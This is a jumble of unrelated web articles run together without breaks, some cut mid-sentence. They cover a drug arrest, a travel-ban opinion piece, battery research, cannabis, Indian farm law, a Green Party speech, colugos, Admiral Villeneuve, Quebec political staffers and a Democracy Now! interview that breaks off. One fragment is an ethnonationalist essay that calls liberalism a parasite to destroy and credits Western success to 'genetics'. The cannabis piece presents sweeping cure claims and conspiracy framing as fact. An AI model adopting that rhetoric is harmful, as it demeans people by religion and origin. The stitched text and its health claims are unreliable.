Lawrence Davidson is a history professor at West Chester University in Pennsylvania. He is the author of Foreign Policy Inc.: Privatizing America’s National Interest;　America’s Palestine: Popular and Official Perceptions from Balfour to Israeli Statehood; and Islamic Fundamentalism.AUSTIN (KXAN) -- A man was arrested Tuesday after police allegedly found drugs in a U-Haul he had recently rented out.
Howard Charles French, 56, was arrested May 19 on charges of delivery of a controlled substance, a first-degree felony.
Austin police say they were following a suspect that stopped next to a U-Haul truck in the parking lot of Academy Sporting Goods on 12250 Research Boulevard. When officers tried to approach the suspect, two people ran away but were later detained.
However, police say French stayed and that when questioning him, they learned he had rented the U-Haul after his personal car had been impounded. Officers also found that French had an active parole violation arrest warrant.
When searching his rented U-Haul, police say they found a bag with methamphetamine, pills, needles and marijuana. Officers say at that point, they believed French had the intent to distribute the meth.
Howard was arrested and released after being held on a $70,000 bond.Yesterday, Acting Solicitor General Jeffrey Wall unveiled a lack of professional integrity for the Ninth Circuit and all the world all to see. His message was clear. So long as it serves the interests of his client, one President Donald J. Trump, he’ll say pretty much anything. Yesterday, during oral arguments supporting Trump’s Muslim travel ban, Judge Richard Paez called on Wall to define the limits of his argument. When Paez asked Wall whether the internment of Japanese citizens during World War II would be Constitutional under the government’s current argument, Wall replied:
“This case is not Korematsu and if it were I would not be standing here and the United States would not be defending it.”
Of course, Wall is wrong on both counts. This case strikes me as being exactly like Korematsu, and whether we’re talking about the current litigation or the one from the 1940s, Wall would absolutely be there defending it. Let’s just recap the situation with Fred Korematsu, so that we can remember it in all its horrific glory.
In 1942, President Franklin Roosevelt issued Executive Order 9066. It authorized the Secretary to War to set up prison camps in the Western U.S. and to throw Japanese people into them. And by “Japanese people,” I don’t mean just people from Japan – but also American citizens of Japanese descent. And by “prison camps,” I fully mean that people were rounded up from their homes and thrown into “internment camps,” which were a lot like … well, you know.
Pearl Harbor had just been attacked, and everyone – including Roosevelt – was on edge. Fred Korematsu, a Japanese-American civil rights activist, refused to be imprisoned, and instead, went into hiding. When he was captured and prosecuted for his disobedience, Korematsu (with the help of the ACLU) challenged Executive Order 9066 in court. The case went all the way up to the Supreme Court, which ruled 6 to 3 that we just can’t be too careful when we’re at war. The majority opinion, authored by Justice Hugo Black, held that 9066 was constitutional; given the perilous times, the right of the President to protect the nation from espionage outweighed the individual rights of Japanese-Americans. In retrospect, Korematsu v. U.S. stands out as a shameful example of SCOTUS getting it wrong. It takes its rightful place alongside Plessy v. Ferguson and Dred Scott v. Sandford – jurisprudence rooted in racism and hatred, when SCOTUS failed to stand up for human rights; it’s worth noting though, that those other cases eventually were reversed. Korematsu, on the other hand, still stands, primarily because there hasn’t been another case similar enough for SCOTUS to overrule it. Until now. So we can thank Trump for that.
President Trump’s Muslim ban bears a striking resemblance to Executive Order 9066. I know, I know, it feels less icky, because it’s just “keeping people out,” instead of rounding up folks from their homes and throwing them into camps. Maybe things would change if someone made a movie starring a wise old Muslim guy imparting wisdom on a Ralph Macchio-type.
At their core, the executive orders at issue in Korematsu and Trump’s travel ban are the same. They use overly-broad concern for “national security” to strip people of their individual rights based solely on their heritage. Sure, a good lawyer could pull out some distinctions between the two; the rights in question are different, after all. And Jeffrey Wall could well have made a solid argument highlighting the differences between the two. But his protest that Korematsu is so different that he “would not be standing here and the United States would not be defending it” punches a Trump-sized hole into any semblance of credibility the government may have had left.
The United States not only would defend a case on Korematsu’s facts – it actually did. If Wall had been on staff in 1944, you’re damn straight he’d have been standing up and making all the same arguments then-Solicitor General Charles Fahy did. I don’t know what Wall thought he was pulling in front of the Ninth Circuit, but I’m pretty sure that they also know that Solicitors General don’t get to simply decline to make arguments in cases the federal government decides to litigate.
Maybe Wall was implying that he has more integrity than his 1944 counterpart did. And that’s likely true on some level, given that Fahy hid from the Court an official report indicating that there had actually been no evidence of Japanese-American espionage. Here’s another fun fact – the 2011 Acting Solicitor General who officially acknowledged Fahy’s misconduct affecting Korematsu was Neal Katyal. Sound familiar? It should. He’s the plaintiffs’ lawyer in the current case before the Ninth Circuit. Yesterday, he made the following argument to the Ninth Circuit:
As Justice [Robert H.] Jackson said in the context of the First Amendment in a religious-freedom case, ‘The First Amendment was designed to avoid these ends by avoiding these beginnings.’
Katyal reminded the court, “This very courthouse, which tried, convicted, and then later exonerated Gordon Hirabayashi 44 years ago, stands as a physical reminder about what is at stake” – referencing Mr. Hirabayashi’s failed challenge to a curfew for Japanese-Americans during World War II.
Every lawyer has, at some point, handled the difficult task of making an argument for a client he or she believes is wrong. That’s just part of the job. But there is a way to zealously advocate without offering the court ridiculous half-truths and arguments based in fantasy. Wall’s statement was false, plain and simple. Whether it will be swept up in a pile of disregarded lawyerbabble and meaningless extemporaneous puffery remains to be seen. But I won’t forget, and likely, neither will anyone following these cases.
This is an opinion piece. The views expressed in this article are those of just the author.Do the folks at MIT set an alarm clock for 8 a.m. each morning to remind themselves to announce a cleantech breakthrough? OK, that’s an exaggeration, but clearly a lot of hefty brainpower in Cambridge, Mass., is devoted to figuring out new ways to get the most out of energy, with energy storage a particular focus.
The latest advance: “Researchers have found a way to improve the energy density of lithium-air (or lithium-oxygen) batteries,” the university announced, “producing a device that could potentially pack several times more energy per pound than the lithium-ion batteries that now dominate the market for rechargeable devices in everything from cellphones to cars.”
This research builds on earlier MIT research, which we reported on in April, demonstrating that electrodes with gold or platinum as a catalyst show a much higher level of activity and efficiency than simple carbon electrodes.
“The new work takes this advantage one step further,” MIT said, “creating carbon-fiber-based electrodes that are substantially more porous than other carbon electrodes, and can therefore more efficiently store the solid oxidized lithium that fills the pores as the battery discharges.”
Backing up the importance of this work, the university quotes Ji-Guang Zhang, a laboratory fellow in battery technology at the Pacific Northwest National Laboratory, calling it “original and high-quality work” that “demonstrates a very unique approach to preparing high-capacity electrodes for lithium-air batteries.”Spread the love
Throughout the bodies of every human on the planet is a physiological system that plays a crucial role in establishing and maintaining human health. The endogenous cannabinoid system (ECS), discovered by scientists unafraid of studying marijuana, is made of endocannabinoids and their receptors which are found throughout the body: in the brain, organs, connective tissues, glands, and immune cells.
The goal of the ECS is to maintain homeostasis within your body.
While the human body produces its own version of endocannabinoids to stimulate these receptors, scientists have discovered that phytocannabinoids, plant-based substances, can also stimulate these cannabinoid receptors. The most well-known, and most psychoactive phytocannabinoid is Delta-9-tetrahydrocannabinol, or THC, which is derived from the cannabis plant. However, other, non-psychoactive cannabinoids such as cannabidiol (CBD) and cannabinol (CBN) are gaining the interest of researchers due to a variety of healing properties.
There are over 20,000 articles searchable on PubMed detailing the effects of “cannabinoid”(s). New research has shown that cannabis is an effective treatment for a myriad of ailments ranging from cancer, to epilepsy, to PTSD.
These seemingly miraculous benefits have gotten the attention of the pharmaceutical industry which is likely interested in profiting from said benefits. The thing about cannabis, however, is that it doesn’t need Big Pharma to produce it, package it and distribute, as it can grow in your backyard.
But, when government-connected industries wish to shut out their competition, which in this case is a plant, they lean on the state’s ability to stifle competition through claiming a right to the intellectual property behind a particular set of ingredients – otherwise known as a patent.
Since no one can patent a wild plant, pharmaceutical industries turn to their labs and chemistry to recreate nature.
The drug Marinol is an example of a pharmaceutical chemical compound that is produced by Solvay Pharmaceuticals Inc. and used to mimic nature. It contains a nearly identical molecular structure as the THC molecule and has similar effects of marijuana on cancer patients in regards to increasing appetite, etc. But unlike its natural counterpart, Marinol does not grow on trees.
This impulse to exclusively own the rights to life-saving medicines is nothing new. However, with the ever-increasing scientific data showing the miraculous effects of cannabis on healing the human body, Big Pharma is hurriedly attempting to imitate these same effects — in their labs.
This haste is proving to be deadly, at least in one example, in France.
According to Ouest France, a recent test conducted by Biotrial, on behalf of the Portuguese pharmaceutical company Bial, has left six people hospitalized in Rennes. One of those six people was declared clinically dead at the University Hospital of Rennes last week.
#Rennes @MarisolTouraine : Six hommes de 28 à 49 ans sont hospitalisés dont 1 en état de mort cérébrale pic.twitter.com/663JU2ZCIW — Ouest-France 35 (@ouestfrance35) January 15, 2016
After news of the hospitalizations broke, media around the world began putting out misleading headlines about cannabis research being the cause. However, according to Marisol Touraine, France’s Minister of Health, cannabis was not involved in these studies at all, only a synthetic ECS stimulant designed to mimic cannabis’s effects.
The effects of the synthetic chemical compounds on the endocannabinoid system were, indeed, a dangerous factor.
The pill acted on the body’s endocannabinoid system. Taken orally, the drug was undergoing a Phase 1 clinical trial at a licensed private European laboratory that specializes in clinical trials, the French health ministry said.
Attempting to recreate the natural analgesic effects of cannabis, this pharmaceutical company unwittingly killed someone and gravely injured several others.
Why would these serious risks be taken when cannabis provides a clearly safer alternative?
Well, for starters, in countries around the planet, in order to study the effects of cannabis, it is particularly difficult — because it is illegal.
Big pharma also plays a large role in why cannabis is illegal too, as they lobby state officials to keep it that way.
However, the crumbling illegality of cannabis is only part of the reason Big Pharma is rushing into the lab to synthesize its effects. As the Free Thought Project pointed out earlier this month, a new survey of adults found that 80% of respondents reported substituting cannabis for their prescription drugs. There is a mass exodus from pills to pot — and the industry is scared.
Of course, no one is advocating for the cessation of pharmaceutical innovation as many pharmaceutical medications have proven to be incredibly beneficial. However, when governments and Big Pharma collude, through the use of patents and prohibition, to create a synthetic product, that merely mimics the effects of a plant ingested by millions daily, and people are hurt in the process, something must be said.
Matt Agorist is an honorably discharged veteran of the USMC and former intelligence operator directly tasked by the NSA. This prior experience gives him unique insight into the world of government corruption and the American police state. Agorist has been an independent journalist for over a decade and has been featured on mainstream networks around the world.
Follow @MattAgoristNew Delhi: In a move to liberalize trade in farm produce and aid better price realization for farmers, the centre has proposed a model law on agricultural marketing which would introduce features such as a single market within a state, private wholesale markets, direct sale by farmers to bulk buyers, and promotion of electronic trading.
The draft law, which proposes to overhaul existing laws, was released by the agriculture ministry on Monday following a meeting of state agriculture marketing ministers.
The draft law proposes to cap market fees and commission charges payable by a farmer after bringing produce to a wholesale market, and help create a national market with provisions for an inter-state trading licence.
Under the new model law, traders will be able to transact in all markets within a state by paying a single fee and sell perishables such as fruits and vegetables outside existing mandis (wholesale markets).
The states will be free to adopt portions or the entire model act as agricultural marketing is a state subject and
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have the right kind of Islam for ISIS. Our failure to think in terms of us versus them enables the resulting slaughter.
Societies governed by egalitarian liberalism see it as impolite to distinguish between Muslim and Christian cultures. The individual is seen as central and his “rights” supersede any rational and pragmatic considerations. Democracies thus conclude that they must export democracy to foreign individuals so they are similarly liberated. The idea that a country might not really benefit from democracy is completely alien.
Syria provides an illustrative case study. Syria is a majority Sunni nation, ruled by a small elite of Alawites, who compose about 12% of the population. Another 13% of the population of Syria consists of Christians from a multitude of ethnic backgrounds. About 3% of the population consists of Druze, another 2% of the population are part of another Shiite minority. In total 60% of the nation consists of Arab Sunnites. Syrian President Bashar al-Assad’s main support comes from Alawites, his own ethnic group. Support also comes from anyone who fears the consequences of majority rule. This includes many Druze, Christians and secular leaning Arab Sunnis.
Assad maintains power in Syria through a pragmatic response to this situation. He emphasizes the factors that serve to unite the public. Assad encourages his ethnoreligious group, the Alawites, to articulate the Islamic nature of their religion to the Sunni Arab majority. In addition, Syrian politicians tend to use Israel as a useful target of rhetoric to preserve an internal sense of unity, especially since Israel occupies Syrian territory.
These tactics have allowed Syria to maintain internal stability for a long time. This came to an end during the revolution in Libya. After NATO bombardments helped them overthrow Gadaffi, whose government was characterized by an attempt to apply socialist ideas to an Islamic culture, Libyan jihadists moved to Syria to incite a violent revolution there. Rich Arab sheiks in Kuwait and the Arab gulf states began to pour money into the ongoing insurgency.
Instead of seeking to negotiate peace, Western nations saw an opportunity to get rid of an ally of Iran and Russia. After it turned out that just like in Libya, domestic support for the autocrat was too high to overthrow him through indirect intervention, Western nations sought to repeat the bombardments that successfully overthrew the Libyan regime. The resulting attempt to export Twitter-style democracy to Syria has blown up in the faces of Western nations. When we introduced instability, we touched off centuries of dormant conflicts.
The resulting chaos spurred Sunni Jihadists to overrun Iraq. They seek to impose a Caliphate on both Syria and Iraq. This invokes the looming catastrophe that Assad’s grandfather warned the French about when they chose to leave Syria. The outcome in Syria represents the worst excesses of liberal democracy. A military superpower uses civil uprisings to bring about regime change, because open military intervention would be politically unpopular. A culture of self-denial lead to our failure to recognize that we are allying ourselves with the enemies of our Christian civilization.
The veneration of democracy and empowerment of individuals in our culture leads us to uncritically endorse any particular group that registers a Twitter account and protests against its authoritarian government, without considering the context in which the authoritarian government is forced to operate. Under democracy, an incompetent public elects an incompetent elite, but the results turn out OK for awhile because of centuries of first-world civilization, learning, discipline and genetics. In the third world, outcomes are nowhere near as good.
A society infected with the hostile ideology of egalitarian liberalism imagines that it has the duty to export democracy to non-Western nations where it will simply empower groups that seek to destroy everything Western in the same way that a rat infected with Toxoplasma Gondii is brainwashed into seeking out the cat that will kill it. An ideology with cultural relativism as one of its central tenets rules our nations and it does not serve our interest in the same way that Toxoplasma Gondii does not serve the interest of the poor vertebrates whose central nervous system it manages to infect. Unless we manage to destroy the parasite, the outcome will be the eventual destruction of Western civilization.
Tags: democracy, egalitarianism, jihad, liberalism, third-world
Please enable JavaScript to view the comments powered by Disqus.We all know National loves outsourcing: outsourcing public servants, outsourcing how we pay teachers, outsourcing mental health services, conservation, prisons, state houses, schooling, child, youth and family services, and of course their dirty politics.
Are they now outsourcing their political attacks on the Green Party’s environmental credentials as well?
This past weekend, National’s man in Epsom, David Seymour, said he cared more about the environment than the Green Party.
The credibility of that argument has about as much substance to it as ACT’s denialist climate policy, which just happened to disappear into the ether four hours before his speech.
National knows they can’t attack the Greens on the environment because they’d be laughed out of the room.
National, is the Party that gives grand speeches on climate change at the same time as subsidising oil drilling and promoting coal mining.
National is the Party that invests in glossy “100% Pure” posters at the same time as their aspiration for our polluted waterways is to be ‘wadeable,’ not even ‘swimmable.’
What’s really at stake here? Our ancient Kauri forests in Northland. Our rugged beaches in Raglan. Our golden tussocks of the Mackenzie country. Our primeval wetlands of the West Coast.
New Zealanders have an emotional, historical, and deep spiritual bond with our natural environment — or what John Key calls “our brand”. We are seeing these places which help define us in the world, carved up, degraded, flogged off.
It’s happening in front of us, in broad daylight. Through conscious decisions, Government policies, and laws passed in this House.
Our Maui’s dolphins are going extinct for fish and chips.
Volunteers have had to don hazmat suits and pick up oil from Bay of Plenty beaches.
Our kids risk getting sick when they swim in our rivers. It’s a tragedy. It’s a disgrace.
Our Maui’s, our beaches, our rivers, they can’t speak for themselves, lobby or donate political funds.
If they could, then maybe then they’d get a hearing from this Government.
It’s easy to grandstand at Alan Gibb’s sculpture park about how much you love the environment, but where were you when it really mattered?
We were there with hundreds of thousands of Kiwis making history saving Lake Manapouri.
We were there on the West Coast stopping the destruction of our native forests.
We were there on the front lines marching to protect our conservation lands from mining.
Where was National? They were there but on the losing side of every argument.
On every step forward, National has had to be dragged kicking and screaming. Then, when they think no one is looking, they try to take us two steps backwards.
The Green Party has always been a champion for the environment because it’s right, not just because it polls well. We always have: we always will.
For forty years, alongside countless individuals and groups we have championed protecting the environment.
We will not be lectured on the environment by others with absolutely no track record.
But we will work with them if we can to improve things.
We’ve worked constructively with parties across this House to get wins for the environment.
From working with Labour to establish the Energy Efficiency and Conservation Authority to working with National to insulate 235,000 homes.
We successfully achieved the construction of a national cycleway network, and now, after years of Green pressure, we’ll finally see the critical missing piece of Auckland rail network, the CBD rail link started.
We’ve saved wetlands and we’ve cleaned up toxic mine sites.
We’ve achieved a ban on shark finning and saw our campaign to create the world’s largest marine reserve around the Kermadecs come to fruition.
The work is far from over though, in fact, the issues are more pressing than ever.
In Government we will work with farmers to help clean up our rivers and lakes.
We will scrap the dysfunctional ETS and drive a cleaner economy while delivering a tax cut to businesses and families through our Climate Tax Cut.
We’ll cut the subsidies for oil drilling and invest in our country’s clean energy expertise. We’ll move towards 100% renewable electricity and help Kiwis get a fair deal from producing their own solar power.
We know a great responsibility has been entrusted to us by the people of New Zealand to stand up and be the champions of our environment.
While other parties play politics and outsource responsibility we’ll continue to earn New Zealanders trust and stay focused on protecting the environment we love.In 16th century Scotland, the alchemist John Damian, who was known to expense a suspicious amount of whiskey in his experiments to find the elusive philosopher’s stone, decided he could fly. He fashioned a pair of wings from feathers and “took off from the lofty battlements of Stirling Castle for a flight to Paris.” He didn’t make it to France, but he did plummet a few feet away from the castle and break a leg. The failure, he later claimed, was due to using feathers from chickens, which can’t so much fly, when he should have used eagle feathers instead.
Really, the problem had more to do with mammals like us not being cut out for flight. Well, except for bats. There are, though, critters like sugar gliders and flying squirrels, which can pull off some pretty solid glides. But compared to the adorable and little-known colugo, they got nothin’. This is the most accomplished mammalian glider of all—on account of being essentially a giant flap of skin—capable of soaring an incredible 200 feet from tree to tree. Its expansive membrane, known as a patagium, stretches from its face to the tips of its digits all the way back to its tail, so “geometrically, it has the greatest surface area that you can have between those limbs without actually evolving an entire wing like bats did,” said conservation biologist Jan Janecka of Duquesne University.
With such a beautifully evolved body, the colugo, also known misleadingly as a flying lemur (more on that later), spends its nights leisurely gliding through the forests of Southeast Asia. Their skeletons, while not nearly as frail as those of bats, are thinner and more elongated than that of a squirrel, reducing their weight while increasing their surface area. And their huge eyes, Janecka says, gives them not only good night vision, but excellent depth perception—no insignificant advantage when you’re coming in for a hard landing on the trunk of a tree.
Colugos are such adept gliders that mothers have no problem bringing their babies along for the ride. And they’ll do so for quite some time, for their young are born highly underdeveloped. They’re not as helpless as, say, marsupial young ‘uns, which enjoy the comfort of their mother’s pouch, but certainly not as developed as most mammals.
Still, the newborns cling to mom as she sails around the rainforest in search of food, mostly sap and leaves and shoots. And as if the colugo’s flappy skin weren’t bizarre enough, its teeth are shaped like little combs. This could be helping them in some way to feed, says Janecka, or may play a part in grooming to snag parasites on their skin. That’s right. Colugos may be brushing their hair with combs built right into their faces.
Unfortunately, beyond watching mothers sail around with their babies, we don’t know much at all about the colugo’s social life. And efforts to keep them in captivity have largely been for naught. Remember that these are creatures used to gliding up to 200 feet, and good luck finding that kind of space in a zoo. “Basically their enclosures weren’t large enough to allow them to glide long distances,” said Janecka. “And because they couldn’t glide, they couldn’t keep their patagium well maintained and dry enough.” They developed infections on their skin, perhaps from a fungus, and died.
Ironically enough, it’s too much space in the wild that’s threatening some colugo populations. Deforestation can strand species in islands of trees, but even if loggers just thin out spots in the forest, it’s big trouble for the colugo. They’re the most accomplished mammalian glider on Earth, sure, but if there’s too much space between trees, the colugo runs the risk of sinking right to the ground. And as you can see below in the video from National Geographic (they strapped a camera to a colugo—enough said), the creature’s extra skin makes it all but worthless when anywhere but the canopy. It’s an easy target in a habitat packed with predators.
Of Parasites and Primates
Because colugos tend to live in isolated habitats and because they insist on emerging only at night, much of what we know about them comes from anecdotal evidence. Case in point: colugo doo-doo. It … moves.
“I’ve seen some videos of fecal material that they’ve dropped where there’s so many worms it’s actually moving,” said Janecka. “It’s squirming around.” The colugo digestive tract, it seems, has a really, really high parasite load. “And that whole dynamic, whether it happened to be in a population that has a lot of parasites or it’s something that’s more normal for the colugos that they’ve learned to deal with, that’s one of those unknown questions at this point.”
What is abundantly clear is that the colugo has a very long digestive tract, which makes sense for a creature that eats trees. That stuff takes a whole lot of time to digest. But such long guts could also be acting as a sort of mansions for parasitic worms, which have lots of room to make themselves comfortable. Until someone starts studying colugo turds at length, though, we’ll have to leave this one a mystery.
But thanks to Janecka and his colleagues, we’re now confident of this: Colugos are primates’ closest living relatives. So although “flying lemur” is a misnomer, both because colugos aren’t flying but gliding and they’re not a kind of lemur, the name isn’t that far off.
“Because they have these adaptations for gliding, originally people sort of threw them in with bats,” Janecka said. “But when they looked at the actual morphology of the skull, there was evidence that they’re closely related to primates.” When Janecka and his colleagues did a genomic analysis of the colugo, this suspicion was confirmed. It turns out that around 90 million years ago, at the height of the dinosaurs’ reign when mammals were just tiny furballs scurrying about trying not to get stepped on, the colugo’s ancestors split off from our primate lineage. Some 25 million years later, the dinosaurs’ time came to an end, leading to the explosion of mammalian diversity.
In fairness, though, it’s the arthropods and bacteria who really rule the world, not us mammals. But they can’t do cool things like glide 200 feet or comb themselves with their teeth…or drop poop that moves on its own.
So there’s that.
Browse the full Absurd Creature of the Week archive here. Know of an animal you want me to write about? Are you a scientist studying a bizarre creature? Email [email protected] or ping me on Twitter at @mrMattSimon.Pierre-Charles-Jean-Baptiste-Silvestre de Villeneuve (31 December 1763 – 22 April 1806) was a French naval officer during the Napoleonic Wars. He was in command of the French and the Spanish fleets that were defeated by Nelson at the Battle of Trafalgar.[1]
Early career [ edit ]
Villeneuve was born in 1763 at Valensole, Basses Alpes, and joined the French Navy in 1778. He took part in Naval operations in the American Revolutionary War, serving as an ensign on Marseillais, in de Grasse's fleet.[2]
Despite his aristocratic ancestry, he sympathised with the French Revolution, dropping the nobiliary particle from his name, and was able to continue his service in the Navy when other aristocratic officers were purged. He served during several battles, and was promoted to Rear Admiral in 1796 as a result of this.
At the Battle of the Nile in 1798 he was in command of the rear division. His ship, Guillaume Tell, was one of only two French ships of the line to escape the defeat. He was captured soon afterwards when the British took the island of Malta, but he was soon released. He was criticised for not engaging the British at the Nile, but Napoleon considered him a "lucky man" and his career was not affected.
In 1804, Napoleon ordered Villeneuve, now a Vice Admiral stationed at Toulon, to escape from the British blockade, overcome the British fleet in the English Channel, and allow the planned invasion of Britain to take place. To draw off the British defences, Villeneuve was to sail to the West Indies, where it was planned that he would combine with the Spanish fleet and the French fleet from Brest and attack British possessions in the Caribbean, before returning across the Atlantic to destroy the British Channel squadrons and escort the Armée d'Angleterre from their camp at Boulogne to victory in England.
Battle of Trafalgar [ edit ]
Prelude to the battle [ edit ]
After an abortive expedition in January, Villeneuve finally left Toulon on 29 March 1805 with eleven ships of the line. He evaded Nelson's blockade, passed the Strait of Gibraltar on 8 April and crossed the Atlantic with Nelson's fleet in pursuit, but about a month behind owing to unfavourable winds. In the West Indies Villeneuve waited for a month at Martinique, but Admiral Ganteaume's Brest fleet did not appear. Eventually Villeneuve was pressured by French army officers into beginning the planned attack on the British, but he succeeded only in recapturing the island fort of Diamond Rock off Martinique. On 7 June he learned that Nelson had reached Antigua. On 8 June he and his fleet were able to intercept a homeward-bound convoy of 15 British merchant vessels escorted by the frigate HMS Barbadoes and the sloop or schooner HMS Netley. The two British warships managed to escape, but Villeneuve's fleet captured the entire convoy, valued at some five million pounds. Villeneuve then sent the prizes into Guadeloupe under the escort of the frigate Sirène.[3] On 11 June Villeneuve set out for Europe with Nelson again in pursuit.
On 22 July Villeneuve, now with twenty ships of the line and seven frigates, passed Cape Finisterre on the northwest coast of Spain and entered the Bay of Biscay. Here he met a British fleet of fifteen ships of the line commanded by Vice Admiral Sir Robert Calder. In the ensuing Battle of Cape Finisterre, a confused action in bad visibility, the British, though outnumbered, were able to cut off and capture two Spanish ships.
For two days Villeneuve shadowed the retreating British, but did not seek a battle. Instead he sailed to A Coruña, arriving on 1 August. Here he received orders from Napoleon to sail to Brest and Boulogne as planned. Instead, perhaps believing a false report of a superior British fleet in the Bay of Biscay, and against the Spanish commanders' objections, he sailed away back to Cádiz, rendering Napoleon's planned invasion of Britain wholly impossible.
The battle [ edit ]
At Cádiz the combined French and Spanish fleets were kept under blockade by Nelson. In September, Villeneuve was ordered to sail for Naples and attack British shipping in the Mediterranean, but he was initially unwilling to move and continued in blatant disregard of Superior Admiralty Orders.
In mid-October he learned that Napoleon was about to replace him as commanding officer with François Étienne de Rosily-Mesros and order him to Paris to account for his actions. (Napoleon had written to the Minister of Marine, "Villeneuve does not possess the strength of character to command a frigate. He lacks determination and has no moral courage.") Before his replacement could arrive, Villeneuve gave the order to sail on 18 October.
Inexperienced crews and the difficulties of getting out of Cádiz meant that it took two days to get all 34 ships out of port and in some kind of order. On 21 October 1805 Villeneuve learned of the size of the British fleet, and turned back to Cádiz, but the combined fleets were intercepted by Nelson off Cape Trafalgar. Nelson, though outnumbered, won the Battle of Trafalgar, and Villeneuve's flagship Bucentaure was captured along with many other French and Spanish ships.
Aftermath and death [ edit ]
The British sent Villeneuve to England but released him on parole; during this time he lived in Bishop's Waltham in Hampshire. He stayed at the Crown Inn public house and his men, who numbered 200, stayed in local houses. He was allowed to attend the funeral of Lord Nelson whilst at Bishop's Waltham. Freed in late 1805, he returned to France, where he attempted to go back into military service but his requests were not answered. On 22 April 1806, he was found dead at the Hôtel de la Patrie in Rennes with six stab wounds in the left lung and one in the heart:[4] a verdict of suicide[5] was recorded. The nature of his death ensured that this verdict was much mocked in the British press of the time and suspicions abounded that Napoleon had secretly ordered Villeneuve's murder.[6]
Legacy [ edit ]
Historians have not been kind to Villeneuve. According to the 1911 Encyclopædia Britannica, "His decision to leave Cádiz and give battle in October 1805, which led directly to the Battle of Trafalgar, cannot be justified even on his own principles. He foresaw defeat to be inevitable, and yet he went out solely because he learnt from the Minister of Marine that another officer had been sent to supersede him... It was provoked in a spasm of wounded vanity." Despite the defeat at Trafalgar his name is etched on the Arc de Triomphe.
Literary references [ edit ]
C. S. Forester's unfinished novel, Hornblower and the Crisis, had Horatio Hornblower planting false orders from Napoleon to Villeneuve sending Villeneuve out to fight the British fleet. In another novel by Alexander Kent (the penname of Douglas Reeman), Honour This Day, a battle between the British and Spanish navies is described as the British try to prevent the Spaniards from joining forces with the French navy under Villeneuve.
Citations [ edit ]
References [ edit ]Since moving from Quebec City to work for the federal Health Minister last month, Thierry Bélair has been sleeping on the couch of one of his former colleagues in the National Assembly, Karl Sasseville.
Mr. Sasseville also benefited from a former colleague's hospitality when he started working in the office of the Minister of Innovation in March, crashing on Marie-Emmanuelle Cadieux's sofa.
Ms. Cadieux made the same journey in September of last year, when the aide to the Minister of International Co-operation relied on the kindness of Philip Proulx, another Quebec City ex-pat who works in the Prime Minister's Office. Mr. Proulx's own stay in Ottawa in February started with a stint on the couch of Alexandra Bernier, a member of the PMO's advance team.
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In addition to a propensity for hosting and couch surfing, the five young professionals all decided to leave the provincial government of Philippe Couillard to work for Prime Minister Justin Trudeau. Like other Quebeckers who moved to Ottawa since the Liberal government was formed in late 2015, they were lured by more pay and relatively better job security, but also bigger challenges.
"As a French-Canadian federalist, I felt this was a great opportunity to play a positive role on the national stage and do my humble part to dismantle the myth of two solitudes," said Mr. Sasseville, the press secretary to Innovation Minister Navdeep Bains and a former aide to the ministers of economy and culture in Quebec.
Liberal officials predict the trend is far from over. For starters, the Quebec Liberals are lagging in recent polls with the next provincial election less than a year away.
The ministerial staffers who jump ship early might be the only ones with jobs by the end of next year, even though there is always a level of uncertainty in the world of politics.
Secondly, bilingual ministerial aides in Quebec City are a hot commodity in Ottawa, given they are used to dealing with the intense glare of the biggest provincial press gallery in the country.
Finally, the federal Liberals, leading in national polls, still need to beef up the representation of Quebeckers in their government. The party surprisingly won 40 out of 78 seats in 2015, and many Liberals think they can do even better in the province in the next election.
To achieve that goal, however, the Liberals need to strengthen their roots in Quebec. Staffers are used to working in the shadows, but a strong team around a minister can help to navigate through a political crisis or score points on key issues.
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When the Liberals formed the government two years ago, Mr. Trudeau's close circle of advisers was dominated by Queen's Park veterans, including his two top advisers, Katie Telford and Gerald Butts. When it came time to fill key jobs in the PMO and various ministers' offices, a number of their past associates were among the first to receive top political postings.
There were few Quebeckers around Mr. Trudeau. One of his top advisers during the election, Liberal veteran and consultant Dan Gagnier, resigned days before the vote because he had sent a memo to one of his clients that included insider knowledge from the campaign.
In addition, Mr. Trudeau and his top advisers wanted to cut ties with Liberals from Quebec who had worked in the Chrétien and Martin governments between 1993 and 2006, when the party was hit by the sponsorship scandal.
The top Quebecker to enter the PMO in 2015, lawyer Mathieu Bouchard, was a relative newcomer to federal politics.
When hiring chiefs of staff for all ministers, Liberal sources said special efforts were made by Mr. Trudeau's top Quebec organizer, Claude Eric Gagné (another veteran of the National Assembly), to find qualified candidates from the province.
For example, the chiefs of staff at Health, Geneviève Hinse, and at Transport, Jean-Philippe Arseneau, both had experience in Quebec City before they joined the Trudeau government.
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Two years later, the contingent of Quebec Liberals working in Ottawa has been steadily growing, as a few well-worn couches can attest.This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman. At Standing Rock in North Dakota, Native American elders fighting the Dakota Access pipeline have extinguished the Seven Council Fires, which have been burning for months at the main resistance camp, and young Native water protectors have relit a new fire, the All Nations Fire, as part of the continued resistance to the $3.8 billion pipeline. Thousands of water protectors remain at the resistance camps at Standing Rock. Last month, the Department of the Army denied Energy Transfer Partners, the company behind the pipeline, a permit necessary to drill underneath the Missouri River. But the company has vowed to build on.
Well, for more, we’re joined here in New York by Jasilyn Charger, a water protector from Cheyenne River Reservation in South Dakota. She’s been camping at Sacred Stone Resistance Camp to fight the Dakota Access pipeline since April 3rd, two days after the camp was launched by LaDonna Brave Bull Allard. Jasilyn founded the International Indigenous Youth Council at Standing Rock. She was also part of the resistance to the Keystone XL pipeline before that.
Welcome to Democracy Now!, Jasilyn.
JASILYN CHARGER: Thank you.
AMY GOODMAN: How old were you April 3rd?
JASILYN CHARGER: I was 19.
AMY GOODMAN: And what exactly did you do?
JASILYN CHARGER: Well, I was just part of a delegation of youth that really wanted to help Standing Rock in their fight against this, because we know how it feels. We know how it feels to have something be pressed upon you that you don’t really want, and have the youth voice being drowned out by policies, by political stuff, by money, by greed. And it’s—it was devastating to us. I mean, we went to stand with Standing Rock, not only with them, but with their youth, and really encourage them to be active and say this is your future. This is the future that they’re destroying. And we really need to stand up and fight for it.
AMY GOODMAN: So, you came up two hours from South Dakota, from Cheyenne River, and set up camp. With how many others?
JASILYN CHARGER: With five other people: Joye Braun, Joseph White Eyes, Kili Bald Eagle and Wiyaka Eagleman.
AMY GOODMAN: And what gave you the sense—I mean, you’re talking about an almost $4 billion pipeline being built—that you could stop it? Or did you not really think you could stop it?
